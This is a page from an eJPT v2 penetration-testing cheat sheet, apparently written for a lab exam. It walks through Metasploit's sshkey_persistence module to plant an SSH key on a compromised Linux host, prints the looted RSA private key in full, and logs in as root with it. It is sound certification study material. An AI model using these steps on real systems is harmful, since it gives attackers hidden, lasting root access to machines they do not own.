EJPTV2 Cheat Sheet by - Yash Mehta
  • Information Gathering & Enumeration
    • Reconnaissance
      • Passive information gathering
      • Active information gathering
    • Enumeration
      • SMTP
      • MySQL Enum
        • Metasploit
        • Mysql tool,Brute force
        • Nmap
      • HTTP Enum
        • random tools
        • Nmap
        • Metasploit
      • SSH Enum
        • Nmap,Login,Hydra
        • Metasploit Modules
        • Metasploit Brute force
      • FTP Enum
        • nmap,hydra,Login
        • Metasploit
      • SMB Enum
        • smbmap
        • nmap
        • smbclient,rpcclient,enum4linux
        • metasploit,hydra
      • SMTP Enum
    • Vulnerability Scanning
      • WMAP(web application vulnerability scanner)
      • Nessus
      • Metasploit
  • Vulnerabilities in services
    • IIS WEBDAV
    • SMB/SAMBA
    • RDP
    • WinRm
    • APACHE
    • FTP
    • SSH
    • HTTP
    • SMTP
    • PHP
    • MySQL
    • Sun Glassfish
    • Workflow platform(Processmaker)
  • Exploitation
    • Windows Exploitation
      • IIS WebDav
        • msfvenom,metasploit
      • SMB
        • Brute force and Login
        • Eternal blue vulnerability
      • RDP
        • Bruteforce and Login
        • Bluekeep
      • WinRm
        • Brute force and Authentication
      • HTTP
        • HttpFileServer httpd 2.3(Rejetto)
        • BadBlue httpd 2.7
      • MySQL
      • Workflow platform(Processmaker)
      • Sun GlassFish
      • CVE-2021-44228 - Apache Log4j
      • Apache Tomcat
    • Linux Exploitation
      • Apache httpd 2.4.7-XODA Vulnerability
      • Sun Glassfish
      • Apache-Shellshock(Bash)
        • Metasploit Exploitation
      • FTP
        • Brute Force
        • ProFTPD 1.3.3c
        • vsftpd 2.3.4 - Backdoor Command Execution
      • SSH
        • Brute Force
        • libssh Authentication Bypass Scanner
      • SAMBA
        • Brute Force
        • Samba smbd 3.X - 4.X (Samba 3.5.0 -RCE)
      • SMTP
        • Brute Force
        • Haraka < 2.8.9 - Remote Command Execution
      • PHP
        • PHP < 5.3.12 / < 5.4.2 - CGI Argument Injection
      • CVE-2021-44228 - Apache Log4j
    • Payloads
      • Encoding Payloads
      • Injecting Payloads into PEs
  • Post Exploitation
    • Privilege Escalation
      • Windows Privilege Escalation
        • Win Kernel Privesc
        • UAC Bypass Akagai64.exe
        • UAC Bypass:Memory Injection
        • PrivescCheck script
        • Access Token
        • Credentials Dumping
      • Linux Privilege Escalation
        • Cron Jobs
        • SUID
        • chkrootkit 0.49
        • Misconfigured Permissions Files
        • Misconfigured SUDO Privileges
        • Credentials Dumping
    • Hash Dumping
      • Windows hash dumping
        • MimiKatz,Kiwi
        • Pass the hash
      • Linux Hash Dumping
      • Crack the Hash
        • Windows Hash cracking
        • Linux Hash Cracking
        • Metasploit
    • Pivoting
    • Transferring Files
    • Meterpreter
      • Commands
      • Shell to Meterpreter
    • Persistence
      • Windows Persistence
        • persistence_service msf module
        • Enabling RDP(msf,admin password change)
        • Enabling RDP & New user
      • Linux Persistence
        • Adding backdoor user
        • SSHkey persistence module
        • Persistence via SSH Keys
        • Cron Jobs
    • Clearing Tracks
      • Windows clearing tracks
      • Linux clearing tracks
    • Local Enumeration
      • Windows Local Enumeration
      • Linux Local Enumeration
  • Web App Pentesting
Powered by GitBook
On this page
  1. Post Exploitation
  2. Persistence
  3. Linux Persistence

SSHkey persistence module

PreviousAdding backdoor userNextPersistence via SSH Keys

Last updated 1 year ago

Perform SSH Persistence with a Metasploit persistence modules

exit # CTRL+C
background
search platform:linux persistence
use post/linux/manage/sshkey_persistence
info
# Description:
#   This module will add an SSH key to a specified user (or all), to 
#   allow remote login via SSH at any time.
set SESSION 4
set CREATESSHFOLDER true
run

  • Access the private key and copy the content of the id_rsa file and save it as a new file. Assign the appropriate permissions to the file

loot
cat /root/.msf4/loot/20230422145422_Linux_Persistenc_192.101.97.3_id_rsa_460359.txt

  • Exit the msfconsole with command exit -y. All the sessions will be closed.

vim ssh_key

# Add the private key, save and exit vim --> :wq
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0Xp0HZyPC+dUSBRJGhFbqG3pl4+Z1hu3jOfGE6zax4TZUK0x
eZ6gSPhNoVLDT8iaB3Hp5lyXY+Ly/o8Uw/SofZbJin3jpfL96f9YdR4fJ3ECoIwB
EBLDveMNRKFhLU5ZqrdpwyvZi+j4rtuAK3SOdYxHdWZqSAEntFp9PDrcMaAckbNk
48oKpkOyQ57bQf5NZrl+pUp4rkXV3gtm4WUD2R4tnFYsM++3uPO7+VDcW4Rjz2nd
3zz/pKn4EKtP2IcYHGr3nomv7syKFsFiharFOczcDigCw+WPnpUKHIAcfrTv25V+
iZC7VrUFV/r5OBKXl2LhV7efgR0nugYISROiKwIDAQABAoIBAQCOApLnZDSBoGC9
wKrSNkRKCcFbUym6Qe4MYzAgNIXYztI4ZEFvLr+A2HxgSmhIFTl+pJYp6kljmP6c
3kj4k0sKYQfekHudC/9g/A9uzm3WYkGir2clC2ORvnRHO5RSj5QwLMlRW8/OjrDQ
cdQRIaJWRDRJfZW9nLLbDKFsDIcsSCGDjgSPk6LXOmVD0xfGhT++IPFRzeMIQPC4
1DnQ5gPHIeUQ6EDHy+ULdANRONQA/8SiAMFVKL8QlkDsJHXak+ouomwdZk7w/vhj
v7bStU73vzPmCUQUTyfF6qmTqZ7MrgF9qHfWCS7+W6pXIU1SW5S23VbU/3XRWwIQ
WmPi7+d5AoGBAPe64klNRJH1c4jvtG9wckNzThPyKjPv5Qun7qMh/pCEVB0rXD7S
5vGdgC2VbrjsnErX/gYfhP/fXF1V5VFf3fjflH67e3aU+Zt3ueiZLW3pp1+odpwO
6YxIS15/vjFTr/G0JbkLaUgmGx0ytsUrIaMgVwwEbQKEQp1oW1tP0m1/AoGBANh4
qxzJ70DuvGsAd+RkAt91rV8xx4jd9Dpnl0o2/FtMC2ML6K7yjLx0MRBkH+CAt+Ia
HihTQpdcfwoZ3gcBL9VQUkaqleNukVLgOz6beCbAJyukMr73TEb6DwQe3j3xeEFB
JxS5IkOUwKWA4Oju6/hrw4/v+FsfkhwJuD/kLDlVAoGAP9ggHXgWZe92GSJ9xAKc
0BlVU/qjOcNnqjtbWxuVubUA4IueOGquLjLDJ/xNDseb+AX2Z6mT40WzTjKm6PPm
Bw/H+2liBkuakKCofvOLK7p98j8+YjXNpuOy2OXfJGNHAunElw4D0h5P+pRpWiMl
hh79kBFL7swbRunwMXY+6w0CgYBIXcauYB+YsHbSupxaAMkpFPj5ivWunqyn3buo
9srUZo6j9PY7jiBYW+uPFDnH3qAaeSq9xl/LpANgSBd+dfocsLZgo2RqXKs+bnG/
00+OfMxbfY/tYVThoXTlpsAbKx9NiU9cUSvQNelVKsmFdWHzcWs2Mj3vkJVSxDkR
OuFB5QKBgQDwkbPu1MJy7VJVGfky7RZYkuqsDB1sdmS9JL+HwCC4M3Ox3q4zKvCQ
rZ2zCzqdgVAL/OhV7pxBFKPJ1+jEKcp+ItUIPaVFzrg7V29Qco9yePjCHPLepkTe
zpo9B6Oiq0fAKlYI0LJ9Bw+jSQU5Q7BUUxBSm07QbITuxJdgmVoxdw==
-----END RSA PRIVATE KEY-----
chmod 0400 ssh_key

  • Authenticate to the target with the private key

ssh -i ssh_key root@192.101.97.3